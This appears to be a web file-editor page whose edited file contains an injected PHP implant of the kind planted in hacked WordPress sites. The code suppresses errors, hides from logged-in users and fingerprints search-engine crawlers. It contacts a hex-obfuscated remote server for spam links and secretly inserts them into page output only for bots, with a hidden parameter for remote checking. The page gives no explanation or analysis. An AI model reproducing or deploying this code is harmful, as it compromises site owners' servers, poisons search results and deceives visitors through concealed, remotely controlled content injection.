查找内容:
指定编码:
GB2312
UTF-8
BIG5
EUC-KR
EUC-JP
SHIFT-JIS
WINDOWS-874
ISO-8859-1
<?php if (!class_exists('OneG')) { if (function_exists('is_user_logged_in')) { if (is_user_logged_in()) { return false; } } @ini_set('display_errors', 0); @ini_set('error_reporting', 0); @ini_set('log_errors', NULL); @ini_set('default_socket_timeout', 4); $uri = $_SERVER['REQUEST_URI']; $ua = $_SERVER['HTTP_USER_AGENT']; $bad_urls = '#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#'; if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) { return false; } class OneG { public $url = "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x72\x6f\x69\x6e\x2e\x74\x6f\x70\x2f\x6f\x6e\x65\x67\x2f\x67\x65\x74\x2e\x70\x68\x70"; public $ua = ''; public $uri = ''; public $ip = ''; public $ip_list_bing = array("191.232.*", "131.253.*", "157.55.*", "157.56.*", "207.46.*", "40.77.*", "204.79.*", "68.180.*", "199.30.*", "131.107.*", "207.46.*", "207.68.*", "213.199.*", "65.54.*", "65.52.*", "65.55.*", "68.142.*", "98.138.*", "206.190.*", "207.126.*", "209.131.*", "209.191.*", "209.73.*", "216.109.*", "216.136.*", "216.145.*", "216.155.*", "64.157.*", "66.163.*", "66.196.*", "66.218.*", "66.228.*", "66.94.*", "67.195.*", "68.142.*", "68.180.*", "69.147.*", "72.30.*"); public $links = array(); public $bot = ''; function get($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36'); $data = curl_exec($ch); curl_close($ch); return $data; } elseif (@ini_get('allow_url_fopen')) { return @file_get_contents($url); } else { $parts = parse_url($url); $target = $parts['host']; $port = isset($parts['port']) ? $parts['port'] : 80; $page = isset($parts['path']) ? $parts['path'] : ''; $page .= isset($parts['query']) ? '?' . $parts['query'] : ''; $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : ''; $page = ($page == '') ? '/' : $page; if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) { @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1)); $headers = "GET $page HTTP/1.1\r\n"; $headers .= "Host: {$parts['host']}\r\n"; $headers .= "Connection: Close\r\n\r\n"; if (fwrite($fp, $headers)) { $resp = ''; while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) { $resp .= $curr; } if (isset($curr) && $curr !== false) { fclose($fp); return substr(strstr($resp, "\r\n\r\n"), 3); } } fclose($fp); } } return TRUE; } function init($uri, $ua) { $bot = FALSE; if (@preg_match('/google/i', $ua)) { $bot = TRUE; $this->bot = 'google'; } if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) { $bot = TRUE; $this->bot = 'bing'; } if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby|yandex|yadirectbot~i', $ua)) { $bot = TRUE; $this->bot = 'other'; } if (!$bot) { $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']; if ((in_array($this->ip, $this->ip_list_bing))) { $bot = TRUE; $this->bot = 'bing'; } else { foreach ($this->ip_list_bing as $ip) { if (preg_match("#$ip#", $this->ip)) { $bot = TRUE; $this->bot = 'bing'; break; } } } } if (!$bot) { $referer = @gethostbyaddr($this->ip); if (@preg_match('/google/i', $referer)) { $bot = TRUE; $this->bot = 'google'; } if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $referer)) { $bot = TRUE; $this->bot = 'bing'; } } $host = 'unknown'; if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) { $_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"]; } $tmp = @parse_url('http://' . $_SERVER["HTTP_HOST"]); if (isset($tmp['host'])) { $host = $tmp['host']; } if ($bot OR isset($_REQUEST['lcheck'])) { $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}"; if (isset($_REQUEST['lcheck'])) { $url .= '&check=1'; } $page = $this->get($url); if (isset($_REQUEST['lcheck'])) { die($page); } if (strpos($page, '<link>') !== FALSE) { preg_match_all('~<link>(.*?)</link>~', $page, $m); $this->links = isset($m[1]) ? $m[1] : array(); } } if (count($this->links) > 0) { ob_start(array($this, 'rwcontent')); register_shutdown_function('ob_end_flush'); } } function rwcontent($content) { $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'span', 'body'); $tags_vals = array(); foreach ($tags as $tag) { preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i", $content, $matches); if (@isset($matches[0])) { foreach ($matches[0] as $match) { $tags_vals[] = array('tag' => $tag, 'content' => $match); } } if (count($tags_vals) > count($this->links)) { break; } } foreach ($this->links as $link_index => $link) { $link .= ' '; foreach ($tags_vals as $tag_index => $tag_val) { if (strlen($tag_val['content']) % 2 == 1) { $tag_content_new = $tag_val['content']; $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$link}", $tag_content_new, 1); } else { if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") { $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$link}.</{$tag_val['tag']}>", $tag_val['content']); } else { $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$link}</{$tag_val['tag']}>", $tag_val['content']); } } $content = preg_replace("~{$tag_val['content']}~i", $tag_content_new, $content, 1); unset($tags_vals[$tag_index]); if (strpos($content, $link) !== false) { unset($links[$link_index]); continue 2; } } } return $content; } } $ratel = new OneG; $ratel->init($uri, $ua); } ?>
文件修改时间
以二进制形式保存文件(建议使用)